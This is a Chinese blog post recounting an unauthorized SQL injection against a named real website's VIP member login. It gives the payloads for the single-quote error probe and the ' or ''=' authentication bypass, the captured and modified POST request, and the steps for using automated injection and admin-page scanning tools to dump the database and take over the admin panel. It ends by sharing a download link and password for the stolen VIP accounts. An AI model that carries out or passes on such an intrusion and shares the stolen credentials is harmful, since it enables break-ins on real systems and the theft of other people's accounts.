剛發現漏洞時,我就已經成功實現了注入,由於怕發到網上後被玩壞,一直沒有發佈。今天去看了看,原網頁已經沒法訪問了,如今發出來應該就沒有什麼大問題了。php
某VIP會員專用系統 http://www.tcmpv.com/index.php/Home/Public/login.htmlhtml
注入工具:web
超級SQL注入工具【SSQLInjection】http://www.shack2.org/article/1417357815.htmlsql
明小子數據庫
抓包工具:安全
Wireshark網絡
一看這種很low的系統就有可能存在漏洞app
廢話很少說,輸入單引號" ' "進行測試:工具
輸入單引號學習
測試結果
看到測試結果報數據庫錯誤,這就證實該系統存在SQL注入漏洞。並且這些粗心的程序猿連數據庫表名都直接暴露出來了(tp_login),這不就等於直接寫着:
"我有漏洞,歡迎注入!"
進一步測試,輸入" 'or''=' ",點肯定,直接就登陸成功了,以下圖
輸入" 'or''=' ",點肯定
登陸成功
不用密碼,直接進去了,看來漏洞真的存在!
接下來測試下能不能使用注入語句,這裏有兩個選擇:
or語句前面已經有說明,這裏就以知道密碼的狀況做說明(or語句原理相同)
網頁上直接給出了獲取密碼的方式:
加羣,拿到密碼:3389
構造新的注入語句:" 3389' and 1=1 and 'a'='a ",測試:
再次成功登入,確承認以進行注入攻擊。
接下來就能夠對數據庫進行數據庫名(前面提到,登陸錯誤信息中已經包含了數據庫名"tp_login",真是省事啊)、表名、列名……的猜想了
手動猜想的具體方法能夠參考這裏:
sql注入實例分析(http://www.cnblogs.com/leftshine/p/SQLInjection.html)
固然手動猜想的量太大了,這麼勞神費力的事固然要交給程序來完成,不過仍是強烈建議看看這篇文章來了解下SQL注入的基本原理,否則後面操做一片茫然。
由於該系統不能簡單經過網頁URL來傳遞信息,因此咱們須要構造數據包以POST方式發送數據包來注入。
根據POST數據包結構手動構造一個用於注入的數據包,具體怎麼構造那就要去好好學習網絡協議了……
這就簡單多了,咱們直接抓取正常發送的數據包,加以改造就能夠用來注入了!
這裏咱們使用Wireshark來抓包,關於Wireshark抓取與分析HTTP包,參考這裏:應用層協議FTP、DNS協議、HTTP協議分析(http://www.cnblogs.com/leftshine/p/5698890.html)
使用Wireshark抓取到的POST數據包內容以下:
POST /index.php/Home/Public/do_login.html HTTP/1.1
Host: www.tcmpv.com
Connection: keep-alive
Content-Length: 8
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.tcmpv.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.tcmpv.com/index.php/Home/Public/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
key=3389
修改爲注入使用的POST包:
POST /index.php/Home/Public/do_login.html HTTP/1.1
Referer: http://www.tcmpv.com/index.php/Home/Public/login.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 8
Host: www.tcmpv.com
Connection: Keep-Alive
Pragma: no-cache
Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
key=3389<sEncode>%')#inject##<eEncode>
這個數據包能夠由軟件"超級SQL注入工具"根據上面的包自動生成,具體操做請參考軟件壓縮包中相應的使用說明。
其實咱們只要將抓取到的數據包粘進程序中,而後點擊"自動識別",軟件就會自動進行相應配置,而後看狀況改改就能夠了(通常狀況下,自動配置就能夠搞定了)。
配置完後,點擊"發送數據"驗證當前配置的數據包是否符合條件,若可以正確返回網頁信息,則配置可用:
正確返回網頁信息
雖然圖中顯示"登陸失敗",但證實能夠正確返回網頁信息,配置可用!
點擊獲取數據
獲取數據
而後轉到數據中心,依次"獲取庫"、"獲取表"、"獲取列"、"獲取數據":
數據庫信息盡收眼底
能夠看到,確實有名爲"tp_login"的表和"3389"這個密碼。
接下來就能夠爲所欲爲的獲取數據了。
獲取到的管理員帳號信息:
管理員帳號信息
有了管理員帳號信息,如何使用呢?上第二個軟件:"明小子",其實它自己就是一個注入工具,不知道是否是年代過久遠了……好多功能不實用。這裏咱們只用到"管理入口掃描"功能,以下圖:
管理入口掃描
獲取到了4個連接,挨個打開看,發現這個能夠用:
http://www.tcmpv.com/index.php/Admin/Public/login.html
管理員登陸
輸入帳號密碼,登陸
登陸成功
登陸成功,看到笑臉真是開心!
成功進入後臺
成功進入管理後臺,發現並無什麼價值的信息,卻是有不少某視頻網站的VIP帳號,也不造這些萬人騎的帳號能不能用……
至此,整個SQL注入成功完成!
福利(注入以後獲取到的帳號):----------------分割線---連接:https://eyun.baidu.com/s/3boCXbXl 密碼:iqiyi
相關閱讀:sql注入實例分析 | JSP使用過濾器防止SQL注入